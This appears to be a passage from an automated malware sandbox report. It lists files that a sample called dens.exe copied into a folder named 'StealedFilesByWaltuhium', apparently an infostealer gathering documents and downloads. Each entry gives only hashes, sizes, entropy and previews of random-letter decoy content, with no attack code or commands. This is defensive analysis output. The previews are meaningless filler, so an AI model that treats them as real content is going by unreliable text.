Preview:	UMMBDNEQBNVIMBNGHYZCBKXWMQJKYISTANSRNFXXBKALIIEMEWAFQEPTEMZCIXXNMQBGOXWSDYSAWKIYPJITNREMVRXPPJZFUTMGRRRGTCHVLEWVUJGZEUQVONQVACEFWZUCIAFXPFGXIUOOBZEEMGMWJQIEKKICYJJWAFUKYZAJEGUQKGDPRPXCOWIPBRUGHWDFZLGSKZVCHVVPGLEFNGIVLBVNAOVXAPGATADJBIQTBNJGWXRSEYKCSVZOSTCBHYFHUDEWNGEIFCVREPZDZDZRITFEVFCQQWJYZXPUKJWHTWGWASTKDCAVEWZOIGFZHRWCJBVRLDWGVKPABCQUOHQIMLUFUGYGMPGPEMSRPPSGWIGRVPBGZIWLNEVYFFJBCMBSXVABNRNXULCTUAANAXDHKZOGVCNQZHMRBENWTTLQVVMDLNBEWHLPZHMPDGRLJWAQJDJRCWTFWIOLAURRCSMFJOCFDKUGPLTPABARXKPCRXOIHHVRWXAKGHOTYLCEQQYYDKVZQSYLCAEGGBQMMJGSNJWBTJXSVALINNRLURMPNGFXHJRVJIKQJSDLNIOXGIGDFDCOTGGXMDLTDYSIKCMPVINDDXXQCEQCRUBLFEWMYMSEGUHIKIGUYOMOXSKOTVNUNGWUFYKYRNZXOOTSRYXLZHRZXNEDJUNPYGNIIZSPVQBOLBRRRWGDMQWUTRSZWBYMXNMLKLFNZWJVDDPMJOXTVBMYRXNQFGBLURKFIUAHJBFFXNWQDYRLZADYGMETNXEOXLOJKYQPEYHUVTFGXQTGPQBWZQTVFXZFUVQERQZJCYYPFBYONAVFDOLTNRGWQYGSYWCWUWRETJZGVJMEFQTYPOLONVZFREVORMBQJOCLOALCJHHCHQSHKLUNBIRHRBSQSMERLKKFTGHUQKRPFIIELZZVXZVNHCIQYYXNMJNSOZOIRGGJKUWXNCWSNCFMGQIQVNKVIGRCLSDWQPEDLSLTGBRXRTMGFWYQSCLN

C:\Users\user\AppData\Local\Temp\StealedFilesByWaltuhium\Documents\UMMBDNEQBN.xlsx

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.695685570184741
Encrypted:	false
SSDEEP:	24:SYuCgqv/1uycbC6SHsJPWXpOxTeVtblICcFX4xlyzK7y45wR39IRh:S1CPvsC6YE+XgleVtbQuKGf5M39IRh
MD5:	A28F7445BB3D064C83EB9DBC98091F76
SHA1:	D4E174D2D26333FCB66D3FD84E3D0F67AF41D182
SHA-256:	10A802E683A2C669BB581DE0A192C8291DD2D53D89A2883A59CC29EB14453B93
SHA-512:	42526FEC4220E50DB60BD7D83A07DEB9D5BE4F63AD093B518E9ECC86B779210B0170F6F64C9F16064D50CB12F03643BAC9995D4F3C0AFD5F8D38428D57ADE487
Malicious:	false
Preview:	UMMBDNEQBNVIMBNGHYZCBKXWMQJKYISTANSRNFXXBKALIIEMEWAFQEPTEMZCIXXNMQBGOXWSDYSAWKIYPJITNREMVRXPPJZFUTMGRRRGTCHVLEWVUJGZEUQVONQVACEFWZUCIAFXPFGXIUOOBZEEMGMWJQIEKKICYJJWAFUKYZAJEGUQKGDPRPXCOWIPBRUGHWDFZLGSKZVCHVVPGLEFNGIVLBVNAOVXAPGATADJBIQTBNJGWXRSEYKCSVZOSTCBHYFHUDEWNGEIFCVREPZDZDZRITFEVFCQQWJYZXPUKJWHTWGWASTKDCAVEWZOIGFZHRWCJBVRLDWGVKPABCQUOHQIMLUFUGYGMPGPEMSRPPSGWIGRVPBGZIWLNEVYFFJBCMBSXVABNRNXULCTUAANAXDHKZOGVCNQZHMRBENWTTLQVVMDLNBEWHLPZHMPDGRLJWAQJDJRCWTFWIOLAURRCSMFJOCFDKUGPLTPABARXKPCRXOIHHVRWXAKGHOTYLCEQQYYDKVZQSYLCAEGGBQMMJGSNJWBTJXSVALINNRLURMPNGFXHJRVJIKQJSDLNIOXGIGDFDCOTGGXMDLTDYSIKCMPVINDDXXQCEQCRUBLFEWMYMSEGUHIKIGUYOMOXSKOTVNUNGWUFYKYRNZXOOTSRYXLZHRZXNEDJUNPYGNIIZSPVQBOLBRRRWGDMQWUTRSZWBYMXNMLKLFNZWJVDDPMJOXTVBMYRXNQFGBLURKFIUAHJBFFXNWQDYRLZADYGMETNXEOXLOJKYQPEYHUVTFGXQTGPQBWZQTVFXZFUVQERQZJCYYPFBYONAVFDOLTNRGWQYGSYWCWUWRETJZGVJMEFQTYPOLONVZFREVORMBQJOCLOALCJHHCHQSHKLUNBIRHRBSQSMERLKKFTGHUQKRPFIIELZZVXZVNHCIQYYXNMJNSOZOIRGGJKUWXNCWSNCFMGQIQVNKVIGRCLSDWQPEDLSLTGBRXRTMGFWYQSCLN

C:\Users\user\AppData\Local\Temp\StealedFilesByWaltuhium\Documents\UOOJJOZIRH.mp3

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.694311754777018
Encrypted:	false
SSDEEP:	24:A8RGU2wNw6pbc5fP6UBtRzjn+4sNp3GYuf5/4dImDNR4+R00JOGJP89a:Aw4w9h+fiUBtJj+44pc3mDL4+R0MVJ/
MD5:	61908250A5348CC047FF15260F730C2B
SHA1:	CBCF34156EAE25B328A926E21008598EE8D1CBDE
SHA-256:	8700BF8369D39FD5DF142F9482CE8860BD8A26A3304EFBC57CBF9E45782C7A3A
SHA-512:	BCAB9A36BF1111B05BC52D8921CAC19ABC0FA18D93EA4EB9866DF4B31624FFCA2FF55A09C5051DC2AECAB18828BA8FDA5F31FA0F1E1B7CDC51DF39041E2A82F3
Malicious:	false
Preview:	UOOJJOZIRHPVBWNJCWUSWUNTMYTRIXAVHMVNTYLIPCAYUDIDHLMFMKJROINQAVRXUZLNINNJJSHFEFPSZPLVVWBUDRECRECFHEVVEZDHIFPUKQTLDLWAAKNHNLRQDSPWEEVMZICDCINAORJHMIUUNNJHMWJLZHCNXQIZIPHJPLEDKWATEVYJSWRRMCEJGQXHFBOGXKHJFORHFMGMLTTZJKPJBYMKZVWGZAIGHCFNXGRNDDLJZMCZBXDTQVGPSMNLFNFDHXXCXDJJUNSVHDRBZEZFIUQIYSJVDHEFPPPROTSFKVYAURVOKTIKGYYSWJMCPHHISKCOIVXEIQWZICSWMZJVHXNBACFJZRIEQPOISHMZILEXPCMYBSQRASRNWPSMMYPWJFEXHUUJQAMZDZSIKVETWBZUQBTDCCOYIIJFYYHXPZIUCZRQQFYTKLLGWQPTPZJIZHUEFVCDUNPMVORWJRIAYGRRAHBFWKSAMTDEVSHQXJBHBMOINFGNSRFJDWPSMFABPWRZHIOIPNMLHKGNVWQJYVTWLEZDGMBOJLNHPJKWMHWBVAEGELRTQORSRZQBNXOXEHQJHOEQVNZZJSGWQGINLWNPWFSJNPGRBFOBAEJAOEEMVKZTQZEVVODQLWGPNPNOPXEXLEESZERAPVAPHAUNNCEHTNMFJYBTYGSNGBIEDWGUTNCJDESWGYITWPGBEFVMZYUYPQOQBFITFPUQTWZNQFLWVTMUIAOXBCINJDYCHTXVFQFJQSMNUTYABAAOGGEUKHMDYKLCSGIBIFQSYOIRBUYVSCPDGMVNAQBKZPEKHNRNDPIHOUUTPJDKDOACRPOMZOQCOIAOBNPJLJIYDLQLQUMPIRAMVWNBCMMWFDLTUGWRDVGNHOOODYTHAGWDMJKRVJZFYCVLFLQUWEILFSEPBEADHBHFVWZGUZKNXQCRSBRLGIVTWCSHGFTTTPQAKFWFDXDYXWAWDKWXXTMSJSVOBRAYZGGBDPJOGLIZ

C:\Users\user\AppData\Local\Temp\StealedFilesByWaltuhium\Documents\VLZDGUKUTZ.docx

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.701757898321461
Encrypted:	false
SSDEEP:	24:JTbqccbbEKOWHOHPG9HXJMTwDwW63KkUdx/d:JTbmzOxeRaTaq3KBL/d
MD5:	520219000D5681B63804A2D138617B27
SHA1:	2C7827C354FD7A58FB662266B7E3008AFB42C567
SHA-256:	C072675E83E91FC0F8D89A2AEC6E3BC1DB53ADF7601864DDC27B1866A8AEEF4D
SHA-512:	C558140907F6C78EB74EE0F053B0505A8BB72692B378F25B518FA417D97CCB2D0A8341691BECAA96ADCE757007D6DC2938995D983AAC65024123BB63715EBD7C
Malicious:	false
Preview:	VLZDGUKUTZXKWULZBWDOTEIBVHVGPZOMETVGLHEKQQVYNUMUAOLBNSHZYTRKXENILISUHDAEEZWZEUNNMWJTKJJOLHKIGJBIHEMLZPVHEUDLHUZCSBUYGAPQSLHCFWHXEYFYTFGZTQNGXBIUAIOYCCCESLXKQMZDVXCDPKMYSWUFQOOGYCQASGJXLVOEKXBOBXDUKGAWAMSEHSFOUBZESSHGPVUWBSAXMDDSNTFJRIJVCYNCFLCMAYHAQBOVOYCQICAPOEIAOZZDHRFCBPBIJRAALGUMCZXSSRKWWTLWRCAGMBKLQATMELORFDRFOPMXYZUWVDECUBFKJYGAVNPIZHJACVPSNOSYGMZANGHNGZCHMGRVBLZWYXERUYHSGKNYMBIUOUVRRQZNFUEYVDSYNZOGCQQJBPAGGARUGCQGPSYMVKYFEATFTUASPFCLAYVPLRCXWCNIABDDVKSFBVZOWZJRZCFQZOXEFZYNRBPBMSHMJFACGUVZUTNGJUEWYWGPCEUFNJTHREUEIHDYXUSJMKBAJVWGYJBJZIRJSRNLDQEVFZAKVMKFJSIHDAKHIEZERYMCSJLFMAKTAGUIBEYUESOJBCXDNFVMNZJABIUVYPQJTWFYBZJPMWLOIHNHFGQHJMNWDFCATRHJYRIXKFJEEOLVSFDPTZNPUFUNEEOLRHVCPOPPOMEZBYTGJKKWUQRHCTFVKQBJAPTOLZADSWVPJYRGRDUWSTNCXLPQDMPVWSSFEHFWHSYNGNHOYZMFADSOTZRZJWXBGUPDZLPMKTZHVIXOFUFHPBTLFRGMMRKOTCWSSRSSXZJNZJGFXMQMXYXKQOFUEAKEJMGPTQUQWYKCZWFGOGJXTRBDEBXQWSDHUFBWIRPNOOENTWWFRIBLZBMAFTMZPLFLLVKTGMUXNKLRFNYLEFNKJWPWNLANWBRDASFRDJUPHVZRHEFBINQCKMOVMQOLDBWPTMYMMFRCLWITZRVFLDSOIFRMJCCQXYLT

C:\Users\user\AppData\Local\Temp\StealedFilesByWaltuhium\Documents\VLZDGUKUTZ.jpg

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.701757898321461
Encrypted:	false
SSDEEP:	24:JTbqccbbEKOWHOHPG9HXJMTwDwW63KkUdx/d:JTbmzOxeRaTaq3KBL/d
MD5:	520219000D5681B63804A2D138617B27
SHA1:	2C7827C354FD7A58FB662266B7E3008AFB42C567
SHA-256:	C072675E83E91FC0F8D89A2AEC6E3BC1DB53ADF7601864DDC27B1866A8AEEF4D
SHA-512:	C558140907F6C78EB74EE0F053B0505A8BB72692B378F25B518FA417D97CCB2D0A8341691BECAA96ADCE757007D6DC2938995D983AAC65024123BB63715EBD7C
Malicious:	false
Preview:	VLZDGUKUTZXKWULZBWDOTEIBVHVGPZOMETVGLHEKQQVYNUMUAOLBNSHZYTRKXENILISUHDAEEZWZEUNNMWJTKJJOLHKIGJBIHEMLZPVHEUDLHUZCSBUYGAPQSLHCFWHXEYFYTFGZTQNGXBIUAIOYCCCESLXKQMZDVXCDPKMYSWUFQOOGYCQASGJXLVOEKXBOBXDUKGAWAMSEHSFOUBZESSHGPVUWBSAXMDDSNTFJRIJVCYNCFLCMAYHAQBOVOYCQICAPOEIAOZZDHRFCBPBIJRAALGUMCZXSSRKWWTLWRCAGMBKLQATMELORFDRFOPMXYZUWVDECUBFKJYGAVNPIZHJACVPSNOSYGMZANGHNGZCHMGRVBLZWYXERUYHSGKNYMBIUOUVRRQZNFUEYVDSYNZOGCQQJBPAGGARUGCQGPSYMVKYFEATFTUASPFCLAYVPLRCXWCNIABDDVKSFBVZOWZJRZCFQZOXEFZYNRBPBMSHMJFACGUVZUTNGJUEWYWGPCEUFNJTHREUEIHDYXUSJMKBAJVWGYJBJZIRJSRNLDQEVFZAKVMKFJSIHDAKHIEZERYMCSJLFMAKTAGUIBEYUESOJBCXDNFVMNZJABIUVYPQJTWFYBZJPMWLOIHNHFGQHJMNWDFCATRHJYRIXKFJEEOLVSFDPTZNPUFUNEEOLRHVCPOPPOMEZBYTGJKKWUQRHCTFVKQBJAPTOLZADSWVPJYRGRDUWSTNCXLPQDMPVWSSFEHFWHSYNGNHOYZMFADSOTZRZJWXBGUPDZLPMKTZHVIXOFUFHPBTLFRGMMRKOTCWSSRSSXZJNZJGFXMQMXYXKQOFUEAKEJMGPTQUQWYKCZWFGOGJXTRBDEBXQWSDHUFBWIRPNOOENTWWFRIBLZBMAFTMZPLFLLVKTGMUXNKLRFNYLEFNKJWPWNLANWBRDASFRDJUPHVZRHEFBINQCKMOVMQOLDBWPTMYMMFRCLWITZRVFLDSOIFRMJCCQXYLT

C:\Users\user\AppData\Local\Temp\StealedFilesByWaltuhium\Documents\WKXEWIOTXI.png

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.697336881644685
Encrypted:	false
SSDEEP:	24:DVE9Jf1tiezZxapTBz4fmlhQHdwc6WS/ZCGxruwyJM:Deu8xafWWKHj6Zx
MD5:	08AF516B9E451DB9845289801A21F1BC
SHA1:	D43E58D334ACFAE831AD929003D89DC6D3B499F9
SHA-256:	C459EA8FCABD26C75606F78F91AA8446698D90422EE4869ABE4ABCCB50B45379
SHA-512:	C8C2BB634740DBDDC5928E5FD3960011BB86842B72673FDCE2D65C86AE6D5945F0C88E81AE96DEA711CC654FAC8B4EC809DF18F57BFB4129503DE37E426CF055
Malicious:	false
Preview:	WKXEWIOTXIKPVKMTOJVZKCCJOJQJVVBUCRVSCWBTZFRFCLMJEFYWDAADXDSWAVKQUKEQVBGBEVVYQQKRCSDIQBFHQPNUHXEGBVBQAZXUXMBFNLNCNTBFAMVYZJITBIGADWSFAFETGWVSLSMWHTRSSUNGFAPUBMTUYBFNDIWUKESLBWQSCOTLFFHGDQBTCYHJBCBOARQTWMUDRIUXIXOCLDIEADCRMXGAMQGVIRNLAGTALJHBZWRNXXRRBLYDOAYCBGEJCTGYVJXPIAIVUAKQQBRSXZKMFBMWWCHMTGNMNRBVSOTUFWOEJRLHHVPMJECGASFUTKIEPJVDDGJBEAOSKQSOAKQFVDMPVFZXVQQGBIVNAKYSEGLMWLAYDYTALUJSLPWCLEJKQBXBYHAKPFMJEIYHGDOFGQSDOCEQICJNJHPIMYZXEEBLQDGZQJHXKMNXDWJCMMFBONBYYWLDOKPYOROQOAOXKLNFZNGOBDFJUKRZTHKLRBINVCYAUIXORJECNOHLVMBHPPCTEWZMHAKKOWVWNWGYCHRMUWRNDXFYYWTIGTCJKQDPGUNHAJQDLUZMXHCGTFUQBMGYHZZQTDVDXANXWNWKFTJJGQDHQOXVXPQVSIEKEEJXYUACENKWKIJBJQXHMLMPZXYAVPNORKZSDXAKFPVLVKXAALPKPLPVFPCSRBEEJDNJCIJXXOCNXCBVGHIYCQQVQHTTNURHGTJJXKJRPJEGOUFOHMMCJGVNMXOAXZBVGWVBLQZNFUTGTNMFHQOEJPQLIMHIWPQHWMJJDCVVMWJEEFQQZJEEECMHCCUANTBJYRWUCSJSOHYMSBWTKOKBZPVNMIVCLDDALCEUFSLAOCOCSAXADDYPCSIANHKQFGMSMYTDVKAOIYTWPDDCRKDNZYGXHYDSDFXTLUDKREZTPVBCYOHCUNIFNCKBSSGTENGDYROMJUTSSFWEEFXLJPBMSINKXZCEUWQMDWGNHDWNFHYTECVIYIAPNGWL

C:\Users\user\AppData\Local\Temp\StealedFilesByWaltuhium\Documents\WUTJSCBCFX.png

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.688284131239007
Encrypted:	false
SSDEEP:	24:94BsLCi4I4Bpno3+PqX1T1MziEko3RYNdEK:alI4BjP4x9JGK
MD5:	E8ACCA0F46CBA97FE289855535184C72
SHA1:	059878D0B535AEE9092BF82886FC68DC816D9F08
SHA-256:	CFB1D698291CFF6EFE21CB913EDEB823FA6F84B5F437F61ED9E04C6A80CC4DCD
SHA-512:	185601B848EDE2A752D1DC0534A2593231C67AF68E506DD3BA05D93435780F378250B27898CBD61F225C5FE6AB72CD21638C6159FC2D107767D2AB43547E0E71
Malicious:	false
Preview:	WUTJSCBCFXNSEWGLWGYOOQVVDPFNFUMPQAJVNXNKMXQRORVUIYYNQWAMOZTIZPEADOKEPDLVMNENFIICEKOTBVPODCEHVNDEMTCADGQBTUSRFDCQOFZZQCSIEKBJNREDYYVFOXFLSAVVRDBODQPUEQUZAVGFLXOWSKRTDQOYTNPZUFOPXFJPIZPUZNQGPAVLZQOLZQMEBSIDSSSOCJNYRGTGEHRLTXLSBXCVGBOIDKKEIUHPVJXFIBUKHHHIZJXBNSFVSIBUVDLJVQHLZQNPKVUYGSBYLDPVSZZIAGXVZKTZMOMHKJTCACLNIHVZQOYHZUOCHMTDPXWSWWCTZKVXUPJXTUQVYKVNBTOOXYSOQYGOROUJYIQIBLZXWHWHSDDSIDRAQBFHFUASJJFJZGJMXLKHMELZDCBSAECBJUYDLONQSYTFIGRFXVYQXQGOAYYQXFJQFPARQPKZARUFLFZALPMOXFKFAAFQYQJSBYRLXSYWILKBWNNKNPTXDFHFCBTUEWYUGEMBZMEFHNMBDRELQEYFKIFARDWZODMHWXQBTISSHAEWZTVFJRKELIBQQEXSWFZUGGGKZXSPWOXYPOCCJIHNGOPVFNWYZRPTOWAGQPVVZLHPYYBDQTUFWFIVGYOBQSXERHTUDUHOJIRJFKQQOOIXOHPHYQPYDGSQQNOEUWFVOVYMHEJBARDLGPVSTERBBBFSGVNSUAZCVAXBSTLPAQENSALLVBNGJHCERSSMMHCALJSZJJKDFYFVTEQEUIBYNZPMUJQZNJVUGNGKENCJKNBTKBYOEUUGFFKIBVHNAUHYEUNDBZPKFZERTSXYHOMVAJJBPSNOOYHZFWINWEJCFGHKIORUHARZYNBKYMOWZHDVWQBITESVLGVECBBJDDHUCWOJFWBQJSKRWHJPPGEKBDXIPJJDDYHGUCDCBZQDUVHEBPPQBUDSOAYQTNFMYUBRJNRJFSMUCNFWURFGGIHZFMXDVIINVRGXSRYXBYBI

C:\Users\user\AppData\Local\Temp\StealedFilesByWaltuhium\Documents\XZXHAVGRAG.xlsx

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.69156792375111
Encrypted:	false
SSDEEP:	24:wT4Ye6841ff8PdGjcDOa8AtDLSoarbrGxYsrxpuzu:/Ye68AIGjiOaDDc4uzu
MD5:	A4E170A8033E4DAE501B5FD3D8AC2B74
SHA1:	589F92029C10058A7B281AA9F2BBFA8C822B5767
SHA-256:	E3F62A514D12A3F7D0EB2FF2DA31113A72063AE2E96F816E9AD4185FF8B15C91
SHA-512:	FB96A5E674AE29C3AC9FC495E9C75B103AE4477E2CA370235ED8EA831212AC9CB1543CB3C3F61FD00C8B380836FE1CA679F40739D01C5DDE782C7297C31F4F3A
Malicious:	false
Preview:	XZXHAVGRAGWUZPDZUEGAYKLOJAATOVXJVRJCLWZVJFOFPZNHYWDUACWAEZMWROZFSNVNLUZTIGQHRPFNIXZWAQNKEFFVMFVJEYHESHQWKICFNAONPPGGSABXPCYNBZITQCMUVOCKUUGGEKLAFNXLBOWPVKEOIBLWWAPOYVIECYONJSQKQQDXGYONJXNAQTSMYDMXZYXYEGULUXOLZALCFDXCFNFKPZDKANUFUXWMRLBIQALSWLXEXAFGLOYIFRMFQEZVUTIKXYTPJYCVKCQFZXEECZIXEIHQZQQYTVHKAQLEKMWMZZULQXNCKIJZACKDTKVLWIVBKFQXXOMIGVNYLPAXZFSMAZJTXJUXMZPVKWUQVNXGFUJUQLXWUJWXXGWFDEHIUZKLUQKWAGSXVVNNFXCYWQGRDZCZRLRYXTMLQRGEHRFDGZJOZZKKYLKBWQOZXHGQWMYFROUTIBGKPARBJPOEDNOQMKUEALEVNBPCUIKVTPAWCUIHGVFJWDYFDWTASWSIDDELYILSJEFAACQCZMSARBUAQIRFFLJJMHBVZYFUUTOLDYGUUVIYGJYNXGWJCYUYVJKCVNACSGWHTSOCDOFFPNNHQEMEAXXRINULLPFMNSQUWWIGEJQABGOQLKIXTZYHHQQTOZYLTNJMMWELZZPDIDHXRBCJGZUDMDGVMAEUIWFYWGIHBTOBLWXIEGHJRIDDBTOXKXOOIAAJUPCJRNMROGCUNSCGQYEEZLWOYIYMJPGKLDXEOGUAUHNUJCEFMGEKRBWDAHWRXWVSFQCURHTSGJQWPJHWEAHXCEQVKJRECGPJBGCDBEGBIRMVXHGYHMWJXIXMQHTKSZFVSATJKNAJOYAJNKDTKZMBHRENBCAYUBASQOTKKVNCTZIOGOUVVDNXYVJFHXTPSZMOWWCPPMBMLCTTPGONDVJOVLCMTWRESLSDGLNGAGTIXVYAJZVBYYHWAMERRRQXMWVCYELNGPYXOGOPHWVXCTQIKXSK

C:\Users\user\AppData\Local\Temp\StealedFilesByWaltuhium\Downloads\BPMLNOBVSB.jpg

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.702896917219035
Encrypted:	false
SSDEEP:	24:/PRNNS0CSvZqsz3phzXGrOVx0E5lpmo3ntC4hUh31nnrgy:/wQvwsz3phzWrOVxXnncRh31nrgy
MD5:	C68274AA8B7F713157BEBE2FCC2EA5D3
SHA1:	52A5A2D615A813B518DDAAC2A02095F1059DAAD5
SHA-256:	362C32AB7AEE8A211871A6045DADFEBF087D5EC2A3470FBEF42BC1C0E8CF0542
SHA-512:	BB653D9E0948C2BD3586BC7CABC777BCDA84F749B73B26E4FD667C22F9629D8A7EC4F94ADBCAAF679FC116CDDA1F0D55CB348CD50BD3B6A4484F48A203E32883
Malicious:	false
Preview:	BPMLNOBVSBRFPSKLKRJEVHBRVUUOUWMMDGAHEFTOXDSJSRQBDQADKRAAIMJBBXHJZSYGDGSBIJCBPDLCIPLGVURSSGYXQXCVEDYOHFVNTWOSWAODXQUYSQDZDKFJYMCQZOAAPCNEEITKKQAOZJLGLFTYOILWUOSTJMBMUSHEQYRRGRAOIGHQXDIXRMKPCYCIDORIRGMLSPAFIUBBOMPKCNUTVROXQQMRPPEYTVHGRIWJQZREOHPNIXFSPUEZGKVJWTNJVDHDCOMTLCENQMHDIOFNLZNLPFMCGQAWNZVHKKTCZJIHININWOCQTMBLXKYEUXUUKCZAKOINULOSSFHJSGRNIDZZLUKXSJKRQIPXODCNMCWZEQEGJHTKEBKCHWRCJJEITXLWRGJUOYWSWNFVRXXLTBNUBFYSNPVKHAJAOKQIGZUIREJCJKNRVWECUBFUQVUSSEVFZFGAGLZHTJIRXFGLLTHCDJRQSVBUTENMMECBKNQAOTCGUKCAUANZSSYPURGXINFDSJOSJXFPPQOKWUJNGLOACGPRELXIXQZZNXUEJPFZQRDXMWSGEPNTSQRNGFYRRORGOCRJKMCRFZPVDFDRDZCHPWYNXBAOHXICQPOHWXUVYMEAZUMLLNZQAOCCUKTGCMNZUMKUHEIUUYFGMSIEUWOKDVUTQHRMSVPQFKZILWLKZLKCAJHKFHZJFEJAIIZQWILLXMKWLUETDBWSKQOQQECLVCWJSIQXHNDZAYVIFNNYOZKGGFZMIYUCHYFNVXUHKZCOQBJAYWMEKPQVFWNVIJXYFYHWXFXSXDCSRYIODDWXNUTAYNOXAVMATSYETUSRJPYJEQCIEGHSXOOCALKHPRGXFNWHDUNNXCXELBKBUMKTJRNZBLLQWINSTBBGQYWIVUZENAMGRAYFSSGBXLPJXWYTCERBJXCYMHQMJPSVPWCDSLLUJZTWDDJDHIADYETBWZFZQTYTPWPBFDIVVSAOFDDHMUMYLEFUUIKC

C:\Users\user\AppData\Local\Temp\StealedFilesByWaltuhium\Downloads\DTBZGIOOSO.docx

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.705615236042988
Encrypted:	false
SSDEEP:	24:B65nSK3I37xD9qo21p9G7ILc3pkowOeuiyJRdt7fXzyxu3f7Lj8X2:B65SK3Xx1OXpkowOeMJR/fzeYX8X2
MD5:	159C7BA9D193731A3AAE589183A63B3F
SHA1:	81FDFC9C96C5B4F9C7730127B166B778092F114A
SHA-256:	1FD7067403DCC66C9C013C2F21001B91C2C6456762B05BDC5EDA2C9E7039F41D
SHA-512:	2BC7C0FCEB65E41380FE2E41AE8339D381C226D74C9B510512BD6D2BAFAEB7211FF489C270579804E9C36440F047B65AF1C315D6C20AC10E52147CE388ED858A
Malicious:	false
Preview:	DTBZGIOOSOGIXCBMGZZTWMBQXGHIBDIDBNCACFDFVBOXTDUUJMUMBAKZSHFEIWNQHEECYVTVTSOTORNQIPIDARMCQDPQAFMDPEUWMOYTBCDCAYVFJLXBCNSKBDWMSQYEQYRUTREAZDRNQIZYXPRJXUJXDYZYLJWOVPCEZSCSUSREYDMTRVOKIKSVPBPVQFMFFQNUDCCBDNGIIDGYMQHFPEMCFEOSEKVDEHVQZBXIBJURBZFVTYETURFSVIYLBMHJKBCAPGOAJJFKOTEXRMHREBNTBJGLLRAKZHXKTTSKEXODMEVVGUJOGNLYLFYGHQIBHAFRVYETMDPLEXBQXLVWYLIMFCJAKPFWSQSVSWYINAAOPMCAAVTIWDFRPKUBYLVKYRNUDCLWZJHLKSXWPDEXGEVUQVEJQWTUUYNTOIRLKQTXRWJHCSMGZWWPGPBFZQLOSDMHAPKSMVNNMIVJAORPRFUXPDROELZMLHAIBRVVWUMSDWFAHIBDVMGGFRISFYQZZSESXHMSUQCQPXBCPTAZBJXKKLRBWEZYGWRXBBTYWRRUXCBJIWCOYQKBQCGCZCPFVLGETTTZLEFZDQMQFHJVERUYLQUPVYRNXQJRLPUBWWQHPTYNORTRKKOMLWKAQZNHZQUJGTIYVIKGAWLHSALTZENHAAJKNKUBSQXDVFQRUFJLDFZAQUPCRNDOOEIALNCMGYLCEZSLPOPYEKIEYDRXSDONBFKQKQMAWBJULDADUHXOQGQLIDEPZRHMCBVTLCJUGOZRYCGXCXPEOJTGJORAEJKASXKARQEVOHMITSWHQEWOJXNOGSKWUQQTSOSWSCCMOUDMMHPYKEAJECJSGTBNPSFVWSGFBKGSKEHVLWONOMPOOJEJHDMKGRPCSBYWCZNHTWZCKQNEGEYABJZETYLVHROKZJAIGKJDHLJBRYOVDHNANLCJBHTDDRPXIXDIHNWDDQDHPSAKZRRXOFYYXZWQWZFESELWVMUIBHMCLVZP

C:\Users\user\AppData\Local\Temp\StealedFilesByWaltuhium\Downloads\FENIVHOIKN.mp3

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.695860210921229
Encrypted:	false
SSDEEP:	24:TFQT9Q9JyaMK5Tkl4rqfRs73U2PVD3BWUS:mT9iSRiqfRsxPGt
MD5:	71B2CE35DD64EA4E8D5C67BD6BFF698E
SHA1:	48D65EB151E97D1D41267A43B4DC1801C4F89255
SHA-256:	A6DBE7820A7D3FD17EB24EE41CCE56C9647B150E1A1392F58ABD947EE1829FC7
SHA-512:	73128DA16516B0E5D04EB6D859A8FDC4663B47F74A7AAC99263582746BC414BAB05FB4DFF40F5E0EF838682D63671FE11DD6C5891D059D51FFB872E1FD9B60BA
Malicious:	false
Preview:	FENIVHOIKNBCYIYDETVMHAXXCUSKVBIKIZDOEBTCBYNFPROLSQLGSXMEBIFYTUGWARWVYMTQJJQHOGKAFRWEYLIITISQGUPNXIDRSAYRHVYBLCBPWDGDGMRFUPDGTHSUZALGWUNUNBPRSUWLDEERQZPJULFBMZZHTJYWKVZQVLEDDNLGBWDACOPLRJZKBPCUZDJREYTIGQRDICOOOTVHDKQUIYHXBSIPRQMYKFMFQBOFQNAEVGNCFJMUUNPEAZHDDUMGETMIDSYNOIDGLIWBLWJMUJDZSXZDTSQDRTDTAVJOIMKOGLNUSQUAAVWIKDQYSLHFCCBWRVFCOFFOFLNYESKIXGLREFBUHJNLTUZWTINZBYSZGLBVOBBMXEMHDAPUEBYUOSIBCQKNMEMTLMDFOFSCTXSWXGSMZYXOITZUXDRNGKAWBECBBUVWDKNSCDDEQNOOYGYYOAXMJOTRVNPFWPCZVSEJKHIGKFUWNCSZBXBGNPXFFHNXKDQDNFIONUVXOCROEEFIGZFWGAHIHFQJGZYTVKVZDPYDSXSERFLDJPCVGKHMQFOTHPVOKTYLWAPGHXOGTKAUNDASAZUZHWRURHYWEQLZGBTJRWZBMRYRMEKQZWHBZYXZEMYOBLGWOOWHYBSYOACREZYWYZKZDZWKRVNMAIUFSJMRFNLCHGSJRDBFEVZHVONCJAKDIVXPNZSDFWRJZBNYCVNHSEHCTSXOCQTOLQXZKOFIQXWXQZEAWRCJWAJSYKYOZORHAIEUYWKKUMHQYPYIOSCFFODFUWOINUDONNHLPCLQAFMHQEHKVMPTJGZMRGJZGKKWXKQOCGHCKXSSHZWEGSFCSZBPAQPMKBQLDGHBWUH